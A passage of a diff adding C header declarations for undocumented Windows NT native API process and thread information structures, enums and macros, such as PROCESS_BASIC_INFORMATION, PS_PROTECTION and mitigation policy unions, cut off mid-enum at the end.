MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 + ThreadPowerThrottlingState, // POWER_THROTTLING_THREAD_STATE + ThreadWorkloadClass, // THREAD_WORKLOAD_CLASS // since REDSTONE5 // 50 + ThreadCreateStateChange, // since WIN11 + ThreadApplyStateChange, + ThreadStrongerBadHandleChecks, // since 22H1 + ThreadEffectiveIoPriority, + ThreadEffectivePagePriority, + MaxThreadInfoClass +} THREADINFOCLASS; +#endif // !_KERNEL_MODE + +#ifndef _KERNEL_MODE +// Use with both ProcessPagePriority and ThreadPagePriority +typedef struct _PAGE_PRIORITY_INFORMATION +{ + ULONG PagePriority; +} PAGE_PRIORITY_INFORMATION, * PPAGE_PRIORITY_INFORMATION; + +// +// Process information structures +// + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // set to sizeof structure on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG IsSecureProcess : 1; + ULONG IsSubsystemProcess : 1; + ULONG SpareBits : 23; + }; + }; +} PROCESS_EXTENDED_BASIC_INFORMATION, * PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _VM_COUNTERS +{ + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; +} VM_COUNTERS, * PVM_COUNTERS; + +typedef struct _VM_COUNTERS_EX +{ + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivateUsage; +} VM_COUNTERS_EX, * PVM_COUNTERS_EX; + +// private +typedef struct _VM_COUNTERS_EX2 +{ + VM_COUNTERS_EX CountersEx; + SIZE_T PrivateWorkingSetSize; + SIZE_T SharedCommitUsage; +} VM_COUNTERS_EX2, * PVM_COUNTERS_EX2; + +typedef struct _KERNEL_USER_TIMES +{ + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES, * PKERNEL_USER_TIMES; + +typedef struct _POOLED_USAGE_AND_LIMITS +{ + SIZE_T PeakPagedPoolUsage; + SIZE_T PagedPoolUsage; + SIZE_T PagedPoolLimit; + SIZE_T PeakNonPagedPoolUsage; + SIZE_T NonPagedPoolUsage; + SIZE_T NonPagedPoolLimit; + SIZE_T PeakPagefileUsage; + SIZE_T PagefileUsage; + SIZE_T PagefileLimit; +} POOLED_USAGE_AND_LIMITS, * PPOOLED_USAGE_AND_LIMITS; + +#define PROCESS_EXCEPTION_PORT_ALL_STATE_BITS 0x00000003 +#define PROCESS_EXCEPTION_PORT_ALL_STATE_FLAGS ((ULONG_PTR)((1UL << PROCESS_EXCEPTION_PORT_ALL_STATE_BITS) - 1)) + +typedef struct _PROCESS_EXCEPTION_PORT +{ + _In_ HANDLE ExceptionPortHandle; // Handle to the exception port. No particular access required. + _Inout_ ULONG StateFlags; // Miscellaneous state flags to be cached along with the exception port in the kernel. +} PROCESS_EXCEPTION_PORT, * PPROCESS_EXCEPTION_PORT; + +typedef struct _PROCESS_ACCESS_TOKEN +{ + HANDLE Token; // needs TOKEN_ASSIGN_PRIMARY access + HANDLE Thread; // handle to initial/only thread; needs THREAD_QUERY_INFORMATION access +} PROCESS_ACCESS_TOKEN, * PPROCESS_ACCESS_TOKEN; +#endif // !_KERNEL_MODE + +#ifndef _LDT_ENTRY_DEFINED +#define _LDT_ENTRY_DEFINED +typedef struct _LDT_ENTRY +{ + USHORT LimitLow; + USHORT BaseLow; + union + { + struct + { + UINT8 BaseMid; + UINT8 Flags1; // Declare as bytes to avoid alignment + UINT8 Flags2; // Problems. + UINT8 BaseHi; + } Bytes; + + struct + { + UINT32 BaseMid : 8; + UINT32 Type : 5; + UINT32 Dpl : 2; + UINT32 Pres : 1; + UINT32 LimitHi : 4; + UINT32 Sys : 1; + UINT32 Reserved_0 : 1; + UINT32 Default_Big : 1; + UINT32 Granularity : 1; + UINT32 BaseHi : 8; + } Bits; + + } HighWord; +} LDT_ENTRY, * PLDT_ENTRY; +#endif + +typedef struct _PROCESS_LDT_INFORMATION +{ + ULONG Start; + ULONG Length; + LDT_ENTRY LdtEntries[1]; +} PROCESS_LDT_INFORMATION, * PPROCESS_LDT_INFORMATION; + +typedef struct _PROCESS_LDT_SIZE +{ + ULONG Length; +} PROCESS_LDT_SIZE, * PPROCESS_LDT_SIZE; + +#ifndef _KERNEL_MODE +typedef struct _PROCESS_WS_WATCH_INFORMATION +{ + PVOID FaultingPc; + PVOID FaultingVa; +} PROCESS_WS_WATCH_INFORMATION, * PPROCESS_WS_WATCH_INFORMATION; +#endif // !_KERNEL_MODE + +// psapi:PSAPI_WS_WATCH_INFORMATION_EX +typedef struct _PROCESS_WS_WATCH_INFORMATION_EX +{ + PROCESS_WS_WATCH_INFORMATION BasicInfo; + ULONG_PTR FaultingThreadId; + ULONG_PTR Flags; +} PROCESS_WS_WATCH_INFORMATION_EX, * PPROCESS_WS_WATCH_INFORMATION_EX; + +#define PROCESS_PRIORITY_CLASS_UNKNOWN 0 +#define PROCESS_PRIORITY_CLASS_IDLE 1 +#define PROCESS_PRIORITY_CLASS_NORMAL 2 +#define PROCESS_PRIORITY_CLASS_HIGH 3 +#define PROCESS_PRIORITY_CLASS_REALTIME 4 +#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 +#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 + +typedef struct _PROCESS_PRIORITY_CLASS +{ + BOOLEAN Foreground; + UCHAR PriorityClass; +} PROCESS_PRIORITY_CLASS, * PPROCESS_PRIORITY_CLASS; + +typedef struct _PROCESS_FOREGROUND_BACKGROUND +{ + BOOLEAN Foreground; +} PROCESS_FOREGROUND_BACKGROUND, * PPROCESS_FOREGROUND_BACKGROUND; + +#ifndef _KERNEL_MODE +typedef struct _PROCESS_DEVICEMAP_INFORMATION +{ + union + { + struct + { + HANDLE DirectoryHandle; + } Set; + struct + { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, * PPROCESS_DEVICEMAP_INFORMATION; + +#define PROCESS_LUID_DOSDEVICES_ONLY 0x00000001 + +typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX +{ + union + { + struct + { + HANDLE DirectoryHandle; + } Set; + struct + { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; + ULONG Flags; // PROCESS_LUID_DOSDEVICES_ONLY +} PROCESS_DEVICEMAP_INFORMATION_EX, * PPROCESS_DEVICEMAP_INFORMATION_EX; + +typedef struct _PROCESS_SESSION_INFORMATION +{ + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, * PPROCESS_SESSION_INFORMATION; + +#define PROCESS_HANDLE_EXCEPTIONS_ENABLED 0x00000001 + +#define PROCESS_HANDLE_RAISE_EXCEPTION_ON_INVALID_HANDLE_CLOSE_DISABLED 0x00000000 +#define PROCESS_HANDLE_RAISE_EXCEPTION_ON_INVALID_HANDLE_CLOSE_ENABLED 0x00000001 + +typedef struct _PROCESS_HANDLE_TRACING_ENABLE +{ + ULONG Flags; +} PROCESS_HANDLE_TRACING_ENABLE, * PPROCESS_HANDLE_TRACING_ENABLE; + +#define PROCESS_HANDLE_TRACING_MAX_SLOTS 0x20000 + +typedef struct _PROCESS_HANDLE_TRACING_ENABLE_EX +{ + ULONG Flags; + ULONG TotalSlots; +} PROCESS_HANDLE_TRACING_ENABLE_EX, * PPROCESS_HANDLE_TRACING_ENABLE_EX; + +#define PROCESS_HANDLE_TRACING_MAX_STACKS 16 + +#define PROCESS_HANDLE_TRACE_TYPE_OPEN 1 +#define PROCESS_HANDLE_TRACE_TYPE_CLOSE 2 +#define PROCESS_HANDLE_TRACE_TYPE_BADREF 3 + +typedef struct _PROCESS_HANDLE_TRACING_ENTRY +{ + HANDLE Handle; + CLIENT_ID ClientId; + ULONG Type; + PVOID Stacks[PROCESS_HANDLE_TRACING_MAX_STACKS]; +} PROCESS_HANDLE_TRACING_ENTRY, * PPROCESS_HANDLE_TRACING_ENTRY; + +typedef struct _PROCESS_HANDLE_TRACING_QUERY +{ + HANDLE Handle; + ULONG TotalTraces; + PROCESS_HANDLE_TRACING_ENTRY HandleTrace[1]; +} PROCESS_HANDLE_TRACING_QUERY, * PPROCESS_HANDLE_TRACING_QUERY; +#endif // !_KERNEL_MODE + +// private +typedef struct _THREAD_TLS_INFORMATION +{ + ULONG Flags; + PVOID NewTlsData; + PVOID OldTlsData; + HANDLE ThreadId; +} THREAD_TLS_INFORMATION, * PTHREAD_TLS_INFORMATION; + +// private +typedef enum _PROCESS_TLS_INFORMATION_TYPE +{ + ProcessTlsReplaceIndex, + ProcessTlsReplaceVector, + MaxProcessTlsOperation +} PROCESS_TLS_INFORMATION_TYPE, * PPROCESS_TLS_INFORMATION_TYPE; + +// private +typedef struct _PROCESS_TLS_INFORMATION +{ + ULONG Flags; + ULONG OperationType; + ULONG ThreadDataCount; + ULONG TlsIndex; + ULONG PreviousCount; + THREAD_TLS_INFORMATION ThreadData[1]; +} PROCESS_TLS_INFORMATION, * PPROCESS_TLS_INFORMATION; + +// private +typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION +{ + ULONG Version; + ULONG Reserved; + PVOID Callback; +} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, * PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION; + +// private +typedef struct _PROCESS_STACK_ALLOCATION_INFORMATION +{ + SIZE_T ReserveSize; + SIZE_T ZeroBits; + PVOID StackBase; +} PROCESS_STACK_ALLOCATION_INFORMATION, * PPROCESS_STACK_ALLOCATION_INFORMATION; + +// private +typedef struct _PROCESS_STACK_ALLOCATION_INFORMATION_EX +{ + ULONG PreferredNode; + ULONG Reserved0; + ULONG Reserved1; + ULONG Reserved2; + PROCESS_STACK_ALLOCATION_INFORMATION AllocInfo; +} PROCESS_STACK_ALLOCATION_INFORMATION_EX, * PPROCESS_STACK_ALLOCATION_INFORMATION_EX; + +// private +typedef union _PROCESS_AFFINITY_UPDATE_MODE +{ + ULONG Flags; + struct + { + ULONG EnableAutoUpdate : 1; + ULONG Permanent : 1; + ULONG Reserved : 30; + }; +} PROCESS_AFFINITY_UPDATE_MODE, * PPROCESS_AFFINITY_UPDATE_MODE; + +// private +typedef union _PROCESS_MEMORY_ALLOCATION_MODE +{ + ULONG Flags; + struct + { + ULONG TopDown : 1; + ULONG Reserved : 31; + }; +} PROCESS_MEMORY_ALLOCATION_MODE, * PPROCESS_MEMORY_ALLOCATION_MODE; + +// private +typedef struct _PROCESS_HANDLE_INFORMATION +{ + ULONG HandleCount; + ULONG HandleCountHighWatermark; +} PROCESS_HANDLE_INFORMATION, * PPROCESS_HANDLE_INFORMATION; + +// private +typedef struct _PROCESS_CYCLE_TIME_INFORMATION +{ + ULONGLONG AccumulatedCycles; + ULONGLONG CurrentCycleCount; +} PROCESS_CYCLE_TIME_INFORMATION, * PPROCESS_CYCLE_TIME_INFORMATION; + +// private +typedef struct _PROCESS_WINDOW_INFORMATION +{ + ULONG WindowFlags; + USHORT WindowTitleLength; + WCHAR WindowTitle[1]; +} PROCESS_WINDOW_INFORMATION, * PPROCESS_WINDOW_INFORMATION; + +// private +typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO +{ + HANDLE HandleValue; + ULONG_PTR HandleCount; + ULONG_PTR PointerCount; + ULONG GrantedAccess; + ULONG ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; + +// private +typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; + +// private +typedef struct _PROCESS_MITIGATION_POLICY_INFORMATION +{ + PROCESS_MITIGATION_POLICY Policy; + union + { + PROCESS_MITIGATION_ASLR_POLICY ASLRPolicy; + PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY StrictHandleCheckPolicy; + PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY SystemCallDisablePolicy; + PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY ExtensionPointDisablePolicy; + PROCESS_MITIGATION_DYNAMIC_CODE_POLICY DynamicCodePolicy; + +#if (NTDDI_VERSION >= NTDDI_WIN10_TH2) + PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY ControlFlowGuardPolicy; + PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY SignaturePolicy; + PROCESS_MITIGATION_FONT_DISABLE_POLICY FontDisablePolicy; + PROCESS_MITIGATION_IMAGE_LOAD_POLICY ImageLoadPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10_TH2 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) + PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY SystemCallFilterPolicy; + PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY PayloadRestrictionPolicy; + PROCESS_MITIGATION_CHILD_PROCESS_POLICY ChildProcessPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) + PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY SideChannelIsolationPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS5 + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) + PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY UserShadowStackPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10_MN + +#if (NTDDI_VERSION >= NTDDI_WIN10_MN) + PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY RedirectionTrustPolicy; +#endif // NTDDI_VERSION >= NTDDI_WIN10_MN + + }; +} PROCESS_MITIGATION_POLICY_INFORMATION, * PPROCESS_MITIGATION_POLICY_INFORMATION; + +#ifndef _KERNEL_MODE +typedef struct _PROCESS_KEEPALIVE_COUNT_INFORMATION +{ + ULONG WakeCount; + ULONG NoWakeCount; +} PROCESS_KEEPALIVE_COUNT_INFORMATION, * PPROCESS_KEEPALIVE_COUNT_INFORMATION; + +typedef struct _PROCESS_REVOKE_FILE_HANDLES_INFORMATION +{ + UNICODE_STRING TargetDevicePath; +} PROCESS_REVOKE_FILE_HANDLES_INFORMATION, * PPROCESS_REVOKE_FILE_HANDLES_INFORMATION; +#endif // !_KERNEL_MODE + +// begin_private + +typedef enum _PROCESS_WORKING_SET_OPERATION +{ + ProcessWorkingSetSwap, + ProcessWorkingSetEmpty, + ProcessWorkingSetOperationMax +} PROCESS_WORKING_SET_OPERATION; + +typedef struct _PROCESS_WORKING_SET_CONTROL +{ + ULONG Version; + PROCESS_WORKING_SET_OPERATION Operation; + ULONG Flags; +} PROCESS_WORKING_SET_CONTROL, * PPROCESS_WORKING_SET_CONTROL; + +typedef enum _PS_PROTECTED_TYPE +{ + PsProtectedTypeNone, + PsProtectedTypeProtectedLight, + PsProtectedTypeProtected, + PsProtectedTypeMax +} PS_PROTECTED_TYPE; + +typedef enum _PS_PROTECTED_SIGNER +{ + PsProtectedSignerNone, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerWinSystem, + PsProtectedSignerApp, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER; + +#define PS_PROTECTED_SIGNER_MASK 0xFF +#define PS_PROTECTED_AUDIT_MASK 0x08 +#define PS_PROTECTED_TYPE_MASK 0x07 + +// vProtectionLevel.Level = PsProtectedValue(PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight) +#define PsProtectedValue(aSigner, aAudit, aType) ( \ + ((aSigner & PS_PROTECTED_SIGNER_MASK) << 4) | \ + ((aAudit & PS_PROTECTED_AUDIT_MASK) << 3) | \ + (aType & PS_PROTECTED_TYPE_MASK)\ + ) + +// InitializePsProtection(&vProtectionLevel, PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight) +#define InitializePsProtection(aProtectionLevelPtr, aSigner, aAudit, aType) { \ + (aProtectionLevelPtr)->Signer = aSigner; \ + (aProtectionLevelPtr)->Audit = aAudit; \ + (aProtectionLevelPtr)->Type = aType; \ + } + +typedef struct _PS_PROTECTION +{ + union + { + UCHAR Level; + struct + { + UCHAR Type : 3; + UCHAR Audit : 1; + UCHAR Signer : 4; + }; + }; +} PS_PROTECTION, * PPS_PROTECTION; + +typedef struct _PROCESS_FAULT_INFORMATION +{ + ULONG FaultFlags; + ULONG AdditionalInfo; +} PROCESS_FAULT_INFORMATION, * PPROCESS_FAULT_INFORMATION; + +typedef struct _PROCESS_TELEMETRY_ID_INFORMATION +{ + ULONG HeaderSize; + ULONG ProcessId; + ULONGLONG ProcessStartKey; + ULONGLONG CreateTime; + ULONGLONG CreateInterruptTime; + ULONGLONG CreateUnbiasedInterruptTime; + ULONGLONG ProcessSequenceNumber; + ULONGLONG SessionCreateTime; + ULONG SessionId; + ULONG BootId; + ULONG ImageChecksum; + ULONG ImageTimeDateStamp; + ULONG UserSidOffset; + ULONG ImagePathOffset; + ULONG PackageNameOffset; + ULONG RelativeAppNameOffset; + ULONG CommandLineOffset; +} PROCESS_TELEMETRY_ID_INFORMATION, * PPROCESS_TELEMETRY_ID_INFORMATION; + +typedef struct _PROCESS_COMMIT_RELEASE_INFORMATION +{ + ULONG Version; + struct + { + ULONG Eligible : 1; + ULONG ReleaseRepurposedMemResetCommit : 1; + ULONG ForceReleaseMemResetCommit : 1; + ULONG Spare : 29; + }; + SIZE_T CommitDebt; + SIZE_T CommittedMemResetSize; + SIZE_T RepurposedMemResetSize; +} PROCESS_COMMIT_RELEASE_INFORMATION, * PPROCESS_COMMIT_RELEASE_INFORMATION; + +typedef struct _PROCESS_JOB_MEMORY_INFO +{ + ULONGLONG SharedCommitUsage; + ULONGLONG PrivateCommitUsage; + ULONGLONG PeakPrivateCommitUsage; + ULONGLONG PrivateCommitLimit; + ULONGLONG TotalCommitLimit; +} PROCESS_JOB_MEMORY_INFO, * PPROCESS_JOB_MEMORY_INFO; + +typedef struct _PROCESS_CHILD_PROCESS_INFORMATION +{ + BOOLEAN ProhibitChildProcesses; + BOOLEAN AlwaysAllowSecureChildProcess; // REDSTONE3 + BOOLEAN AuditProhibitChildProcesses; +} PROCESS_CHILD_PROCESS_INFORMATION, * PPROCESS_CHILD_PROCESS_INFORMATION; + +#ifndef _KERNEL_MODE +// +// Process resource throttling information +// NtQueryInformationProcess using ProcessPowerThrottlingState +// + +#define POWER_THROTTLING_PROCESS_CURRENT_VERSION 1 + +#define POWER_THROTTLING_PROCESS_EXECUTION_SPEED 0x1 +#define POWER_THROTTLING_PROCESS_DELAYTIMERS 0x2 +#define POWER_THROTTLING_PROCESS_IGNORE_TIMER_RESOLUTION 0x4 + +#define POWER_THROTTLING_PROCESS_VALID_FLAGS ((POWER_THROTTLING_PROCESS_EXECUTION_SPEED | \ + POWER_THROTTLING_PROCESS_DELAYTIMERS | \ + POWER_THROTTLING_PROCESS_IGNORE_TIMER_RESOLUTION)) + +typedef struct _POWER_THROTTLING_PROCESS_STATE +{ + ULONG Version; + ULONG ControlMask; + ULONG StateMask; +} POWER_THROTTLING_PROCESS_STATE, * PPOWER_THROTTLING_PROCESS_STATE; +#endif // !_KERNEL_MODE + +typedef struct _WIN32K_SYSCALL_FILTER +{ + ULONG FilterState; + ULONG FilterSet; +} WIN32K_SYSCALL_FILTER, * PWIN32K_SYSCALL_FILTER; + +typedef struct _PROCESS_WAKE_INFORMATION +{ + ULONGLONG NotificationChannel; + ULONG WakeCounters[7]; + struct _JOBOBJECT_WAKE_FILTER* WakeFilter; +} PROCESS_WAKE_INFORMATION, * PPROCESS_WAKE_INFORMATION; + +typedef struct _PROCESS_ENERGY_TRACKING_STATE +{ + ULONG StateUpdateMask; + ULONG StateDesiredValue; + ULONG StateSequence; + ULONG UpdateTag : 1; + WCHAR Tag[64]; +} PROCESS_ENERGY_TRACKING_STATE, * PPROCESS_ENERGY_TRACKING_STATE; + +typedef struct _MANAGE_WRITES_TO_EXECUTABLE_MEMORY +{ + ULONG Version : 8; + ULONG ProcessEnableWriteExceptions : 1; + ULONG ThreadAllowWrites : 1; + ULONG Spare : 22; + PVOID KernelWriteToExecutableSignal; // 19H1 +} MANAGE_WRITES_TO_EXECUTABLE_MEMORY, * PMANAGE_WRITES_TO_EXECUTABLE_MEMORY; + +#ifndef _KERNEL_MODE +#define POWER_THROTTLING_THREAD_CURRENT_VERSION 1 +#define POWER_THROTTLING_THREAD_EXECUTION_SPEED 0x1 +#define POWER_THROTTLING_THREAD_VALID_FLAGS (POWER_THROTTLING_THREAD_EXECUTION_SPEED) + +typedef struct _POWER_THROTTLING_THREAD_STATE +{ + ULONG Version; + ULONG ControlMask; + ULONG StateMask; +} POWER_THROTTLING_THREAD_STATE, * PPOWER_THROTTLING_THREAD_STATE; +#endif // !_KERNEL_MODE + +// +// Process Read/WriteVm Logging +// NtQueryInformationProcess using ProcessEnableReadWriteVmLogging +// +#define PROCESS_READWRITEVM_LOGGING_ENABLE_READVM 0x01 +#define PROCESS_READWRITEVM_LOGGING_ENABLE_READVM_V 1UL +#define PROCESS_READWRITEVM_LOGGING_ENABLE_WRITEVM 0x02L +#define PROCESS_READWRITEVM_LOGGING_ENABLE_WRITEVM_V 2UL + +#if (WDK_NTDDI_VERSION != NTDDI_WIN10_RS3) && (WDK_NTDDI_VERSION != NTDDI_WIN10_RS4) +typedef union _PROCESS_READWRITEVM_LOGGING_INFORMATION +{ + UCHAR Flags; + struct + { + UCHAR EnableReadVmLogging : 1; + UCHAR EnableWriteVmLogging : 1; + UCHAR Unused : 6; + }; +} PROCESS_READWRITEVM_LOGGING_INFORMATION, * PPROCESS_READWRITEVM_LOGGING_INFORMATION; +#endif // (WDK_NTDDI_VERSION != NTDDI_WIN10_RS3) && (WDK_NTDDI_VERSION != NTDDI_WIN10_RS4) + +typedef struct _PROCESS_UPTIME_INFORMATION +{ + ULONGLONG QueryInterruptTime; + ULONGLONG QueryUnbiasedTime; + ULONGLONG EndInterruptTime; + ULONGLONG TimeSinceCreation; + ULONGLONG Uptime; + ULONGLONG SuspendedTime; + union + { + ULONG HangCount : 4; + ULONG GhostCount : 4; + ULONG Crashed : 1; + ULONG Terminated : 1; + }; +} PROCESS_UPTIME_INFORMATION, * PPROCESS_UPTIME_INFORMATION; + +typedef union _PROCESS_SYSTEM_RESOURCE_MANAGEMENT +{ + ULONG Flags; + struct + { + ULONG Foreground : 1; + ULONG Reserved : 31; + }; +} PROCESS_SYSTEM_RESOURCE_MANAGEMENT, * PPROCESS_SYSTEM_RESOURCE_MANAGEMENT; + +// private +typedef struct _PROCESS_SECURITY_DOMAIN_INFORMATION +{ + ULONGLONG SecurityDomain; +} PROCESS_SECURITY_DOMAIN_INFORMATION, * PPROCESS_SECURITY_DOMAIN_INFORMATION; + +// private +typedef struct _PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION +{ + HANDLE ProcessHandle; +} PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION, * PPROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION; + +// private +typedef union _PROCESS_LOGGING_INFORMATION +{ + ULONG Flags; + struct + { + ULONG EnableReadVmLogging : 1; + ULONG EnableWriteVmLogging : 1; + ULONG EnableProcessSuspendResumeLogging : 1; + ULONG EnableThreadSuspendResumeLogging : 1; + ULONG Reserved : 28; + }; +} PROCESS_LOGGING_INFORMATION, * PPROCESS_LOGGING_INFORMATION; + +// private +typedef struct _PROCESS_LEAP_SECOND_INFORMATION +{ + ULONG Flags; + ULONG Reserved; +} PROCESS_LEAP_SECOND_INFORMATION, * PPROCESS_LEAP_SECOND_INFORMATION; + +// private +typedef struct _PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION +{ + ULONGLONG ReserveSize; + ULONGLONG CommitSize; + ULONG PreferredNode; + ULONG Reserved; + PVOID Ssp; +} PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION, * PPROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION; + +// private +typedef struct _PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION +{ + PVOID Ssp; +} PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION, * PPROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION; + +//// private +//typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE +//{ +// ULONG_PTR BaseAddress; +// SIZE_T Size; +// ULONG Flags; +//} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE, *PPROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE; +// +//// private +//typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION +//{ +// USHORT NumberOfRanges; +// USHORT Reserved; +// ULONG Reserved2; +// PPROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE Ranges; +//} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION, *PPROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION; + +// end_private + +// +// Thread information structures +// + +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PTEB TebBaseAddress; + CLIENT_ID ClientId; + ULONG_PTR AffinityMask; + KPRIORITY Priority; + LONG BasePriority; +} THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION; + +// private +typedef struct _THREAD_LAST_SYSCALL_INFORMATION +{ + PVOID FirstArgument; + USHORT SystemCallNumber; +#ifdef WIN64 + USHORT Pad[0x3]; // since REDSTONE2 +#else + USHORT Pad[0x1]; // since REDSTONE2 +#endif + ULONG64 WaitTime; +} THREAD_LAST_SYSCALL_INFORMATION, * PTHREAD_LAST_SYSCALL_INFORMATION; + +// private +typedef struct _THREAD_CYCLE_TIME_INFORMATION +{ + ULONGLONG AccumulatedCycles; + ULONGLONG CurrentCycleCount; +} THREAD_CYCLE_TIME_INFORMATION, * PTHREAD_CYCLE_TIME_INFORMATION; + +// private +typedef struct _THREAD_TEB_INFORMATION +{ + PVOID TebInformation; // buffer to place data in + ULONG TebOffset; // offset in TEB to begin reading from + ULONG BytesToRead; // number of bytes to read +} THREAD_TEB_INFORMATION, * PTHREAD_TEB_INFORMATION; + +// symbols +typedef struct _COUNTER_READING +{ + HARDWARE_COUNTER_TYPE Type; + ULONG Index; + ULONG64 Start; + ULONG64 Total; +} COUNTER_READING, * PCOUNTER_READING; + +// symbols +typedef struct _THREAD_PERFORMANCE_DATA +{ + USHORT Size; + USHORT Version; + PROCESSOR_NUMBER ProcessorNumber; + ULONG ContextSwitches; + ULONG HwCountersCount; + ULONG64 UpdateCount; + ULONG64 WaitReasonBitMap; + ULONG64 HardwareCounters; + COUNTER_READING CycleTime; + COUNTER_READING HwCounters[MAX_HW_COUNTERS]; +} THREAD_PERFORMANCE_DATA, * PTHREAD_PERFORMANCE_DATA; + +// private +typedef struct _THREAD_PROFILING_INFORMATION +{ + ULONG64 HardwareCounters; + ULONG Flags; + ULONG Enable; + PTHREAD_PERFORMANCE_DATA PerformanceData; +} THREAD_PROFILING_INFORMATION, * PTHREAD_PROFILING_INFORMATION; + +// private +typedef struct _RTL_UMS_CONTEXT +{ + SINGLE_LIST_ENTRY Link; + CONTEXT Context; + PVOID Teb; + PVOID UserContext; + volatile ULONG ScheduledThread : 1; + volatile ULONG Suspended : 1; + volatile ULONG VolatileContext : 1; + volatile ULONG Terminated : 1; + volatile ULONG DebugActive : 1; + volatile ULONG RunningOnSelfThread : 1; + volatile ULONG DenyRunningOnSelfThread : 1; + volatile LONG Flags; + volatile ULONG64 KernelUpdateLock : 2; + volatile ULONG64 PrimaryClientID : 62; + volatile ULONG64 ContextLock; + struct _RTL_UMS_CONTEXT* PrimaryUmsContext; + ULONG SwitchCount; + ULONG KernelYieldCount; + ULONG MixedYieldCount; + ULONG YieldCount; +} RTL_UMS_CONTEXT, * PRTL_UMS_CONTEXT; + +// private +typedef enum _THREAD_UMS_INFORMATION_COMMAND +{ + UmsInformationCommandInvalid, + UmsInformationCommandAttach, + 